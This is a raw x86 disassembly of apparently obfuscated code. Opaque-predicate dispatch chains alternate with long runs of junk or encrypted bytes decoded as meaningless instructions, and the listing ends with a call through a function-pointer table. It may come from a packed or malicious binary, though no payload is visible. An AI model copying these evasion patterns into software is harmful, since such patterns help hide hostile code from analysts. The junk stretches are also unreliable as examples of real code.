mov dword [ebp - 0x60], 0xa300a
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x68], 0xaafe8
mov dword [ebp - 0x64], 0
mov ecx, dword [ebp - 0x60]
mov ebx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x70]
xor eax, 0x14dff2
or eax, dword [ebp - 0x6c]
je 0x67d96009
mov edx, 0x14dff2
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x67d9600c
mov eax, dword [ebp - 0x70]
xor eax, 0xf39ff
or eax, dword [ebp - 0x6c]
je 0x67d93104
mov edx, 0xf39ff
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x67d9600c
mov eax, dword [ebp - 0x70]
xor eax, 0xc6b3d
or eax, dword [ebp - 0x6c]
je 0x67d93cc6
mov edx, 0xc6b3d
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x67d9600c
mov eax, dword [ebp - 0x70]
xor eax, 0xbdd33
or eax, dword [ebp - 0x6c]
je 0x67d942a7
mov edx, 0xbdd33
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x67d9600c
mov eax, dword [ebp - 0x70]
xor eax, 0xb0d11
or eax, dword [ebp - 0x6c]
je 0x67d936e5
mov edx, 0xb0d11
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x67d9600c
mov eax, dword [ebp - 0x70]
xor eax, 0x7e83f
or eax, dword [ebp - 0x6c]
je 0x67d92542
mov edx, 0x7e83f
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x67d9600c
mov eax, dword [ebp - 0x70]
xor eax, 0x6bb9a
or eax, dword [ebp - 0x6c]
je 0x67d94e69
mov edx, 0x6bb9a
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x67d9600c
mov eax, dword [ebp - 0x70]
xor eax, 0x6809a
or eax, dword [ebp - 0x6c]
je 0x67d91f61
mov edx, 0x6809a
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x67d9600c
mov eax, dword [ebp - 0x70]
xor eax, 0x449ea
or eax, dword [ebp - 0x6c]
je 0x67d9544a
mov edx, 0x449ea
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x67d9600c
mov eax, dword [ebp - 0x70]
xor eax, 0x3fd76
or eax, dword [ebp - 0x6c]
je 0x67d94888
mov edx, 0x3fd76
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x67d9600c
add byte [ebx + 0x4a359045], cl
jae 0x67d91f42
mov eax, dword [ebp - 0x70]
xor eax, 0x1734a
add byte [ebx], cl
inc ebp
xchg esp, eax
or eax, dword [ebp - 0x6c]
je 0x67d92b23
mov eax, dword [ebp - 0x70]
xor eax, 0x21dcb
or eax, dword [ebp - 0x6c]
je 0x67d95a2b
jmp 0x67d9600c
dec ebp
pop eax
adc al, bl
pop ss
aad 0x8b
add byte [ecx + esi*8], bl
mov ss, word [ecx + ebp*4]
sbb dl, dh
jmp 0x67d91fae
cmp al, 0xfa
leave
cmp al, 0x75
cdq
jp 0x67d91f39
fdiv dword [eax + 0x51]
sti
push esp
jg 0x67d91fb2
jmp 0xcf9be487
pop ecx
adc byte [ebp - 0x6c], 0x29
test al, 0x47
sti
xchg esi, eax
jne 0x67d91f8d
sub dword [eax + 0x7596fb47], ebp
aam 0xef
out dx, eax
idiv dword [edx + 0x70]
mov ebx, 0x1791e1a8
cmp byte [eax - 0x260b634], dl
std
fstpnce st(7), st(0)
iretd
add al, 0x2d
jl 0x67d92583
imul esi, dword [edx - 0x4cb380ec], 0xffffffe9
cmp dword [edx + 0x70], ebp
out dx, al
push edx
out 0x2a, al
mov cl, 0x68
xchg ecx, eax
retf
pop edx
cmp dword [eax + 0xf], ebx
xchg ebp, eax
pop ebp
invalid
rcr byte [ebx + 0x7a], cl
inc esi
out 0x33, al
push cs
adc ch, al
mov edi, 0x84278d17
or bl, byte [eax]
push ss
cmp dword [ebx - 0xa34996f], esi
invalid
dec esp
stc
xchg edi, eax
push edx
jno 0x67d93032
mov al, byte [0xf6079ff1]
xchg byte [ebx - 0x59156c61], al
pop ss
sar byte [edi], cl
sub ah, 0xaf
sbb eax, 0x698f055f
mov eax, dword [0xb178f553]
cmp al, dh
mov edx, 0x90148ea5
movsd dword es:[edi], dword [esi]
mov ss, word [eax + edx*4]
int3
rol ebp, 1
aam 0x34
imul eax, ebp, 0xffffff99
mov dh, 0xd3
jbe 0x67d9300e
pop edi
jae 0x67d93072
test eax, 0xface0cfa
xchg dword [esi + 0x30], edi
cmp eax, 0x5c82f4e2
jecxz 0x67d93086
sbb byte [ebx + 0x10], 0xd3
adc cl, byte [esi + 0x71f2c498]
in eax, 0x55
shl dword [esi + 0x12], cl
mov ds, word [eax - 0x1a8e0d3c]
push ebp
outsb dx, byte [esi]
invalid
cmp esp, dword [ebp + 0xb0c7019]
push 0xab4a3f5c
dec edx
nop ebp
inc esp
xchg esi, eax
fst dword [eax - 0x61b05c34]
test eax, 0x8d81ea5b
and ebp, ecx
mov esp, 0xe0b6fe87
enter 0xffffffffffffd8e0, 0xffffffffffffffd9
adc eax, 0xe7ea505e
inc esp
mov dh, 0x2d
mov ebx, 0xbf4d8331
jmp 0x4609caac
xor dword [ebx - 0x169a40b3], eax
jmp 0x67d93058
sar byte [esi + 0x604c8077], cl
or dword [ecx + 0x29f6bcea], esp
stc
popal
cmp ch, byte [ecx]
jmp 0x67d930b7
add al, 0x50
mov ebp, dword [di]
mov ecx, 0x87d098f1
lahf
call 0x4a698463
adc ecx, ebx
jp 0x67d930e4
test eax, 0xf7cae475
add bl, byte [ecx + 0x63fc70a1]
xchg edi, eax
cmpsd dword [esi], dword es:[edi]
sub ebp, edx
jle 0x67d93185
pushfd
std
enter 0xffffffffffffd0be, 0x57
sbb dword gs:[edi - 0x6e], ebp
push esi
xchg ecx, eax
outsd dx, dword [esi]
push 0xdb26c9dc
salc
cmp al, 0x61
mov dl, 0x58
push cs
fmulp st(3)
xchg ebp, eax
invalid
fisub dword cs:[ebx]
sub dh, byte [edi]
aam 0x90
aaa
invalid
xchg edx, eax
mov dh, 0xb9
xchg ecx, eax
jle 0x67d936ee
cmp esp, ebp
push esi
retf 0x4016
sar byte [esp + esi*8 + 0x68], cl
xor esp, ebp
cmc
scasd eax, dword es:[edi]
leave
imul esi, dword [edi], 0x85dfaa51
insb byte es:[edi], dx
mov ebx, 0x5877f612
cmpsd dword [esi], dword es:[edi]
imul esi, dword [ebx], 0x53
cmpsb byte [esi], byte es:[edi]
test eax, 0x1758f48d
or al, 0x64
push cs
invalid
add eax, 0x8d7740ee
ljmp 0x88a3
leave
mov bl, 0xe3
pop eax
test eax, 0x9998fdda
or edx, dword [ebx - 0x51]
pushfd
pushfd
xor eax, 0xbbf7ca86
xor dword [ecx + 0x69ef0398], edx
xchg dword [ebp + 0x55], esi
mov dh, 0x58
mov al, byte [0xa70521eb]
push es
jecxz 0x67d948fc
mov esp, 0xbcbf73c3
jl 0x67d948e9
js 0x67d9491e
cli
movsd dword es:[edi], dword [esi]
scasd eax, dword es:[edi]
pop edi
adc byte [ebp + ebp*4 + 0x62bb8432], bh
cmc
pop ebx
jmp 0x67d9491f
mov ah, 0x90
int3
cmpsd dword [esi], dword es:[edi]
xor dword [esi + 0x58dcc62f], edx
inc ebx
invalid
xor eax, dword [ecx - 0x230c828a]
push esi
push esp
xor dword [esi + 0x7d], 0x5456dcf3
cdq
lea ebx, [ebx]
inc ecx
push ebp
enter 0x230e, 0xffffffffffffffa9
xlatb
retf
mov edi, 0xf74c7ca4
jp 0x67d94ec0
sal byte cs:[eax], 1
sti
sub byte [edi - 0x32], cl
scasd eax, dword es:[edi]
mov al, 0x44
dec eax
lea esi, [esi - 0x65]
popal
or edi, dword [edi - 4]
xchg ecx, eax
mov ah, 0x66
retf
pop eax
mov bl, 0
pushal
push esp
add byte [edi], bl
sbb ecx, 0x8ed673e6
sub dword [esi - 0x80], ebx
mov dl, 0xe1
xchg edi, eax
invalid
mov ebp, 0x94e1b2db
out dx, eax
pop ds
fdivr st(4)
lds edx, [eax - 0x76b89a34]
aad 0x94
into
jno 0x67d94ea8
xor dword [edi + ebp], ebp
popal
mov cl, 0xad
inc esp
inc esi
pop dword [ecx]
lodsb al, byte [esi]
push esp
aaa
mov esp, 0xce81b234
fnsave dword [ebx]
iretd
and dh, byte [ecx + 0x113d4fc4]
in eax, 0xa
invalid
dec esp
mov edx, 0xa2779e08
loopne 0x67d953fd
lea ebx, [eax + 0x26]
xchg esi, eax
pop eax
xchg esi, eax
mov dl, 0x51
jne 0x67d95453
scasd eax, dword es:[edi]
invalid
pop ebp
dec edx
retf
jno 0x67d959fa
fcomp qword [ebp - 0x11]
inc eax
sti
cmp al, bh
clc
push 0xffffffffffffff9a
adc ebp, ebp
hlt
nop
jmp 0x67d9600d
nop
mov dword [ebp - 0x74], 0x680a3014
mov dword [ebp - 0x80], 0x9b5f9
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x88], 0x283c5
mov dword [ebp - 0x84], 0
mov eax, dword [ebp - 0x80]
mov edx, dword [ebp - 0x7c]
sub eax, dword [ebp - 0x88]
sbb edx, dword [ebp - 0x84]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x90]
xor eax, 0xf1e57
or eax, dword [ebp - 0x8c]
je 0x67d9983a
mov edx, 0xf1e57
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d9bb7d
mov eax, dword [ebp - 0x90]
xor eax, 0xd9789
or eax, dword [ebp - 0x8c]
je 0x67d99e1b
mov edx, 0xd9789
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d9bb7d
mov eax, dword [ebp - 0x90]
xor eax, 0xb11dd
or eax, dword [ebp - 0x8c]
je 0x67d974f4
mov edx, 0xb11dd
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d9bb7d
mov eax, dword [ebp - 0x90]
xor eax, 0xac66e
or eax, dword [ebp - 0x8c]
je 0x67d98697
mov edx, 0xac66e
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d9bb7d
mov eax, dword [ebp - 0x90]
xor eax, 0xa1d3f
or eax, dword [ebp - 0x8c]
je 0x67d96351
mov edx, 0xa1d3f
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d9bb7d
mov eax, dword [ebp - 0x90]
xor eax, 0x9b01c
or eax, dword [ebp - 0x8c]
je 0x67d98c78
mov edx, 0x9b01c
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d9bb7d
mov eax, dword [ebp - 0x90]
xor eax, 0x8ed10
or eax, dword [ebp - 0x8c]
je 0x67d96f13
mov edx, 0x8ed10
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d9bb7d
mov eax, dword [ebp - 0x90]
xor eax, 0x86263
or eax, dword [ebp - 0x8c]
je 0x67d980b6
mov edx, 0x86263
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d9bb7d
mov eax, dword [ebp - 0x90]
xor eax, 0x73234
or eax, dword [ebp - 0x8c]
je 0x67d9bb80
mov edx, 0x73234
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d9bb7d
mov eax, dword [ebp - 0x90]
xor eax, 0x69145
or eax, dword [ebp - 0x8c]
je 0x67d9afbe
mov edx, 0x69145
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d9bb7d
mov eax, dword [ebp - 0x90]
xor eax, 0x5cf30
or eax, dword [ebp - 0x8c]
je 0x67d99259
mov edx, 0x5cf30
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d9bb7d
mov eax, dword [ebp - 0x90]
xor eax, 0x56040
or eax, dword [ebp - 0x8c]
je 0x67d9a3fc
mov edx, 0x56040
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d9bb7d
mov eax, dword [ebp - 0x90]
xor eax, 0x411ad
or eax, dword [ebp - 0x8c]
je 0x67d97ad5
mov edx, 0x411ad
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d9bb7d
mov eax, dword [ebp - 0x90]
xor eax, 0x33af1
or eax, dword [ebp - 0x8c]
je 0x67d9a9dd
mov edx, 0x33af1
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d9bb7d
mov eax, dword [ebp - 0x90]
xor eax, 0x56e4
or eax, dword [ebp - 0x8c]
je 0x67d9b59f
mov eax, dword [ebp - 0x90]
xor eax, 0xcaf6
or eax, dword [ebp - 0x8c]
je 0x67d96932
jmp 0x67d9bb7d
xchg ebx, eax
dec esi
xchg byte [edi - 0x4d], ah
sal byte [eax + 0x62], cl
xor dword [eax - 0x5fdd477d], edi
test byte [ebx - 0x314e4f24], 0x96
or sp, word [0xd1186108]
rol ch, cl
and dword [edi], esp
inc edi
mov dword [eax + 0x165ff4b1], esi
or eax, 0xf9dd5997
ret 0x4d30
movsb byte es:[edi], byte [esi]
movaps xmm1, xmmword [ebx - 0xb4b6b63]
adc eax, 0x8570fd42
lcall 0x37b4, 0xae243e85
arpl word [ecx], cx
jmp 0x67d969a8
mov edx, dword [ecx]
ret
fisubr dword [edx - 0x7155d212]
retf 0xa2a1
aam 0x35
or bl, byte [edi - 0x2c]
cmpsb byte [esi], byte es:[edi]
hlt
mov cl, byte [esi]
pop es
pop eax
cmp al, 0xaf
jnp 0x67d974cb
pop esp
invalid
push edi
lahf
xor byte [edx*2 - 0x3c4f137a], 0xc9
xor al, ah
invalid
sbb eax, 0x6b23d678
iretd
ret 0x2301
or dword [edx - 0x76], edx
push ss
mov dl, byte [esi]
arpl word [eax], bp
mov ds, word [edi + 0x6c]
jns 0x67d98683
arpl word [ecx], di
inc ebx
or byte [eax], bl
xchg edi, eax
shl dword [0x191c9e72], 1
loop 0x67d98699
hlt
wait
push ecx
and al, byte [esi]
aad 3
mov al, byte [0x5c5c91ab]
xor dh, byte [ecx + 0x10]
mov eax, dword [esp + ebx*8]
stosb byte es:[edi], al
cmpsd dword [esi], dword es:[edi]
aam 0x26
loop 0x67d98c3a
or eax, 0xde95faf
push ds
ljmp 0x75c6
div dword [edi]
add al, byte [edx + 0x71]
mov ebp, 0xe3806029
mov dword [0xda56c77e], eax
lea edi, [ebx - 0x38c865b7]
mov dh, 0xed
sbb eax, 0x24712b87
xchg ecx, eax
test byte [ebx - 0x3c], 0xb1
add al, 0x54
jns 0x67d98bda
dec ebx
les esi, [ecx - 0x6686abfc]
stosb byte es:[edi], al
popfd
aad 0xcc
sub ch, byte [esp + ebp*2 - 0x23f31e90]
mov bl, 0x53
xor dword [edx - 0x2d], ebx
inc eax
out dx, eax
cmp al, 0x69
invalid
imul dword [ebx + 0x7d]
lodsd eax, dword [esi]
test dword [ebp + 0x66], edi
sub al, 0x1b
or cl, ch
jns 0x67d98c1c
sub bh, dh
mov bl, 0x26
push eax
mov dword es:[0x5c95a188], eax
out 0xd4, al
add ecx, dword [esi - 0x3cee4de8]
leave
adc byte [eax + 0x5b8a992a], ah
adc dword [ecx], 0xea31d881
mov edi, 0x9df789ef
inc eax
int3
inc edx
or ecx, dword [edi]
xor eax, 0x6d7064de
jo 0x67d992ce
push ds
jbe 0x67d9925e
pop eax
ret
fistp qword [edi + 0x106f9be]
and al, 0x80
sahf
invalid
test eax, 0xf9963c08
in al, dx
sbb eax, 0x79453f48
sal byte [ebx - 0xb], cl
sbb bl, al
in al, 0xbe
rcl dword [eax - 0x6c]
leave
aas
cmpsd dword [esi], dword es:[edi]
sub dl, dl
test eax, 0xbc80a219
jle 0x67d9928f
mov al, 0xdf
fistp dword [esp + ebp*8]
int3
nop
stc
cmp eax, 0x5b2b1c50
dec edi
dec esi
dec esp
or eax, 0xf3238b2a
and ah, cl
scasb al, byte es:[edi]
adc esp, dword [esi - 0x3b]
pop ss
sub eax, 0xd681e52f
enter 0x45d0, 0xffffffffffffffd1
invalid
invalid
mov eax, 0xf2649142
pop esp
and al, 0x28
adc al, 0x49
loopne 0x67d9a44a
int3
ljmp 0x742:0xa39fdd30
ror byte [ebp + 0x26], 0xcb
inc ebp
or al, 0xd
xor byte es:[eax + ebp*4 - 0x1b], cl
cmp eax, 0x9a5fbffe
movsd dword es:[edi], dword [esi]
jl 0x67d9a438
nop
int3
adc eax, 0x1388b819
clc
lcall 0xc9a, 0x792a6bc5
in al, dx
arpl word [ebx - 0x7d2b8c61], di
pop edi
inc esp
sub byte [edi + 0x30142246], dl
mov esi, 0xa43faf7
nop
enter 0x604e, 0xffffffffffffffc2
test dh, ch
sal edx, 0xd9
lcall 0x8513, 0x58d3efdf
inc edx
stosd dword es:[edi], eax
mov ah, 0x3b
in eax, 0x6b
add dl, byte [esi + 0x34]
mov ebx, 0x74b1e0c8
pushfd
sbb byte [ebp + 0x2736934e], bl
ret 0xbf6a
outsd dx, dword [esi]
shr byte [ebx + 0x607bc96c], cl
mov esi, 0xe933c1cb
invalid
inc ebp
inc esp
add dword [eax], ebx
jns 0x67d9b580
sub al, 0xde
jns 0x67d9b56f
and cl, byte [edi]
stosd dword es:[edi], eax
loope 0x67d9b573
bts ecx, esp
aas
nop
int3
and edi, dword [edx]
sub eax, 0xeac6fd79
pop ebp
push esi
cmp esp, dword [edi]
mov edx, 0x7e281854
cmc
adc dword [0x84cc5d13], ebp
out 0xf6, al
or edx, ebp
jg 0x67d9b525
std
cmp byte [ebp - 0x33d0c4c3], 0x73
jg 0x67d9b5b5
push eax
popfd
je 0x67d9b58c
jecxz 0x67d9b5b0
mov word [edi - 9], ss
shl byte [esp + edx*4], 1
retf 0xde05
add eax, 0xfe5cebde
movsd dword es:[edi], dword [esi]
push ecx
fmul qword [ecx]
mov cl, 0x6e
sub eax, 0xe2e9cc90
add eax, 0xf0be0000
add byte [ebx], dh
invalid
mov esi, 0xf03300f0
loopne 0x67d9b558
pop esp
fild dword [eax]
jg 0x67d9b530
add edi, dword [esi + 0x7920a31c]
xor eax, 0x5b626efd
invalid
and byte [ecx + 0x35], bh
std
outsb dx, byte [esi]
bound ebx, qword [ebx - 0x10]
xchg esi, eax
xor edx, esi
xchg edi, eax
lodsb al, byte [esi]
shl dl, cl
mov edx, 0x82455367
imul edi
dec esp
mov dword [0x40f1e8f0], eax
retf
nop
jmp 0x67d9bb81
nop
mov dword [ebp - 0x94], 0
jmp 0x67dd072b
mov dword [ebp - 0xa0], 0xef56e
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa8], 0x26e02
mov dword [ebp - 0xa4], 0
mov eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0xa8]
mov edx, eax
mov eax, dword [ebp - 0xa4]
imul eax, dword [ebp - 0xa0]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xa0]
mul dword [ebp - 0xa8]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0xb0]
xor eax, 0x586f2edc
mov edx, dword [ebp - 0xac]
xor edx, 0x24
or eax, edx
je 0x67d9e079
mov edx, 0x586f2edc
mov eax, 0x24
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d9e07c
mov eax, dword [ebp - 0xb0]
xor eax, 0x965db
or eax, dword [ebp - 0xac]
je 0x67d9bd36
mov edx, 0x965db
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d9e07c
mov eax, dword [ebp - 0xb0]
xor eax, 0x6800a
or eax, dword [ebp - 0xac]
je 0x67d9ced9
mov edx, 0x6800a
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d9e07c
mov eax, dword [ebp - 0xb0]
xor eax, 0x5d9d0
or eax, dword [ebp - 0xac]
je 0x67d9da9b
mov edx, 0x5d9d0
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d9e07c
mov eax, dword [ebp - 0xb0]
xor eax, 0x3237a
or eax, dword [ebp - 0xac]
je 0x67d9d4ba
mov edx, 0x3237a
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67d9e07c
mov eax, dword [ebp - 0xb0]
xor eax, 0x13688
or eax, dword [ebp - 0xac]
je 0x67d9c8f8
mov eax, dword [ebp - 0xb0]
xor eax, 0x22abb
or eax, dword [ebp - 0xac]
je 0x67d9c317
jmp 0x67d9e07c
pcmpeqd mm6, mm5
out dx, al
xchg edi, eax
pop ss
aam 0xc2
rcr dword [esi], 0xa2
jnp 0x67d9bd61
enter 0xffffffffffff87c6, 0x60
lahf
jae 0x67d9bdb5
mov edi, 0xda4652d0
sub al, 0x79
mov edi, 0xb3c8e538
test eax, 0xa4213d2b
das
mov eax, 0x9eadcdf5
stosd dword es:[edi], eax
jne 0x67d9bd43
aaa
push ds
and ch, byte [edx + 0x2abc66d7]
fdivrp st(6)
mov dh, 0xba
cmpsd dword [esi], dword es:[edi]
or byte [ebx + ebp*4 - 0x445632ee], al
in eax, dx
adc eax, 0xcd59b989
cmp bl, byte [edx + 0x71]
mov eax, ebp
shl byte [eax - 0x3707371b], 1
dec ebp
insb byte es:[edi], dx
popal
out 0x95, eax
push 0xfffffffffffffffc
add ecx, 0xf15e5277
cmp ch, bl
nop
int3
jp 0x67d9be2e
push esp
das
cmp al, 0xbf
dec esi
mov edi, 0x367563e
mov word [esi + 0x26], cs
add eax, 0xdcfa0166
fild dword [edx - 0x1d2f671c]
add byte [edx - 0x73], dh
add byte [esi - 0x6e], bl
jp 0x67d9bdb5
fld qword [eax + 0x552f0341]
add byte [ecx + 3], 0x2f
push ebp
mov al, byte [0x4f76ef0a]
mov edx, 0xd8f688d6
and al, bl
sub edx, ecx
push es
push cs
lcall 0xd15b, 0xcfb61b29
cmp dword [ecx + ebp*8 + 0x7e], 0xfeeec0c1
nop
int3
jecxz 0x67d9be9d
inc edi
jnp 0x67d9be43
xchg ebp, eax
cmp edi, ebp
lodsd eax, dword [esi]
fisub word [edx - 0x2aecde08]
outsd dx, dword [esi]
add byte [eax], ch
mov dl, 0x6d
jns 0x67d9bdd7
xchg ebx, eax
leave
xchg ecx, eax
lock sub byte ss:[ebp + 0x42866d58], bl
outsb dx, byte [esi]
dec edx
daa
popal
insb byte es:[edi], dx
daa
mov al, 0xb8
sub eax, 0x3677a0ec
cld
test byte cs:[ecx + 0x5a], 0x90
int3
test dl, cl
dec ecx
ja 0x67d9bee6
mov ebp, 0xc209bc07
jno 0x67d9bf21
sahf
rcr byte [ebp - 0x25], 0xb2
sal byte [edi - 0x40], 1
or edi, 0x8e734661
rol byte [ecx + 0x734661cf], 0x8e
dec ecx
jge 0x67d9bf23
mov bh, 0x1f
inc esp
jb 0x67d9bf14
jge 0x67d9bf3b
aam 0x29
nop
int3
add dword [edi], edi
mov ch, 0x51
sub byte [ebp + 0x26ab0c67], ch
js 0x67d9beb1
mov ebp, 0x3afc43f9
in eax, 0x93
mov bl, 0x6f
jo 0x67d9bf1a
ret
xchg edi, eax
cmp ah, byte [ecx]
in eax, dx
xchg edx, eax
cmp ecx, dword [esp + esi*2]
or al, 0x74
cmpsb byte [esi], byte es:[edi]
mov dl, 0xa2
xchg edx, eax
daa
push edx
cli
pop esp
push ecx
test dword [eax + 0x3bcc902a], 0x494c8046
mov cl, 0x13
clts
ljmp 0xb05b
xor al, 0x13
test dword [eax], 0xbc54da3a
jl 0x67d9bf96
out 0x3f, eax
add ebp, dword [esi + 0x4c53c103]
int 0x23
dec eax
fisub dword [ebx + 0x77]
arpl word [esi + 0x5d], bx
mov dword [eax], ebp
jns 0x67d9bf6d
inc ebx
mov cl, 0x53
sal dl, 0xaa
mov ch, byte [ebx]
inc ebx
jns 0x67d9bf74
mov ebp, 0x4bca6211
inc ebx
pop ebp
aad 0xce
sar dword [edx + 0x3b18c3de], 0xd4
cmp edx, esp
out 0xe5, al
jg 0x67d9bfb6
shr dword [edi + 0x40], 1
adc eax, 0xe87b36bf
popal
mov cl, 0xd4
sub ebx, dword [edx - 0x1c]
push esi
rcr ecx, cl
nop
int3
add cl, ch
test byte [ecx], al
push es
add cl, byte [edi]
sti
mov byte [0x9b94015f], al
push ss
int 0xe5
sbb eax, 0x66686868
dec ebp
int3
push edi
mov dword [0x9bdda83d], eax
sub byte [eax - 0x6b], dh
leave
rol dword [esi], 0x7f
add eax, 0xfc7941e
enter 0xffffffffffff9c65, 0xffffffffffffff87
sahf
inc ebx
ret
xor eax, 0x50901aba
xchg byte [ecx], bh
invalid
clc
add byte [ebp - 0x75b5fa9], al
mov ebx, 0x733fd09a
insb byte es:[edi], dx
out dx, al
mov edx, 0x572fa2c1
and dword [ebp + 0x14acd081], 0x3a
pop ebp
int1
jb 0x67d9c2c6
adc eax, 0x57f75995
frstor dword [edx - 0x32a3289b]
popal
sbb eax, 0xa40f99f6
insd dword es:[edi], dx
movups xmm1, xmm4
push ds
push es
outsb dx, byte [esi]
and dword [ebp + edx*8 - 0x39], edx
ljmp 0xd837
mov ah, 0x2d
xor eax, ebp
mov ch, 0xe5
ljmp 0x17
js 0x67d9c93e
pop eax
popfd
movsb byte es:[edi], byte [esi]
jo 0x67d9c903
adc dword [eax + 0x1c], edx
sub ecx, dword [ebp + 0x3c45c8f]
cmp byte [edx - 0x73], al
mov ss, word [0x6325dd5]
sbb al, 0x2b
lea ecx, [edi + 0x3803c45c]
inc edx
lea ecx, [esi + 0x325dd515]
push es
into
push 0xffffffffffffffdf
adc al, 0xd2
in eax, 0x7b
xchg ebx, eax
cmp dword [ebx - 0xe], 0x60
sal byte [esi + 0x24fad038], 1
xchg ebx, eax
add edx, dword [ebx + 0x37]
pop ecx
jp 0x67d9c8ea
retf
mov dword [0xb10dc281], eax
xchg ecx, eax
cmp eax, 0x9b5de401
retf 0xd485
sbb bh, 0x67
adc al, 0xba
cdq
je 0x67d9cf21
inc edx
fld qword [ebx]
push ecx
xor cl, 0x92
xchg ebp, eax
xchg edi, eax
add al, 0x44
adc dword [edx - 0x3c3e067e], eax
inc ebx
cmpsd dword [esi], dword es:[edi]
and dword [ebx - 0x29], ecx
mov ebx, 0x9587316a
ljmp 0xa7b9
xchg ebp, eax
ror byte [eax - 0x1a], cl
mov ecx, 0x7b02051a
mov esp, 0xfa7d81de
or al, 0x7f
fmul st(6)
iretd
cli
sbb esi, dword [edi]
scasb al, byte es:[edi]
xchg edi, eax
les esp, [edx + ebx*4 - 0x4b]
mov byte [0x93074e71], al
fmul st(7)
add ebp, dword [ecx]
mov bl, 6
invalid
and bl, byte [ebx - 0x3b9acf5c]
and byte [eax + eax*8], ch
aad 0x5c
sbb dh, bh
inc esp
inc ecx
jle 0x67d9dab4
test dword [edx + 0x48631daa], eax
movsd dword es:[edi], dword [esi]
iretd
xor cl, ch
adc al, 0x66
adc eax, 0x9cea9142
jno 0x67d9db2c
sbb esi, dword [edx]
ret 0xc709
push ebx
in al, dx
push ebx
test al, 0x57
mov ebx, 0x3f773cb3
invalid
cmp eax, 0xecbdb94f
popal
out 0x81, eax
out dx, eax
popal
jb 0x67d9dad8
test eax, 0x2e5174ef
sbb esp, dword [ebx + 0xc7b0efd]
out dx, al
int3
nop
jmp 0x67d9e07d
nop
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov edx, eax
mov eax, dword [0x680a5024]
add eax, edx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0xb8], 0x7c287
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xc0], 0xce9fc
mov dword [ebp - 0xbc], 0
mov eax, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xbc]
sub eax, dword [ebp - 0xb8]
sbb edx, dword [ebp - 0xb4]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0xc8]
xor eax, 0x2c418
or eax, dword [ebp - 0xc4]
je 0x67d9e10a
mov eax, dword [ebp - 0xc8]
xor eax, 0x52775
or eax, dword [ebp - 0xc4]
je 0x67d9e6e8
jmp 0x67d9e6e9
invalid
nop
mov eax, dword [0x680a5004]
mov edx, dword [ebp - 0x74]
mov dword [esp], edx
call eax
sub esp, 4
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0
je 0x67dca59e
mov dword [ebp - 0xd0], 0xc9373
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xd8], 0x82c9a
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd0]
mov ebx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd8]
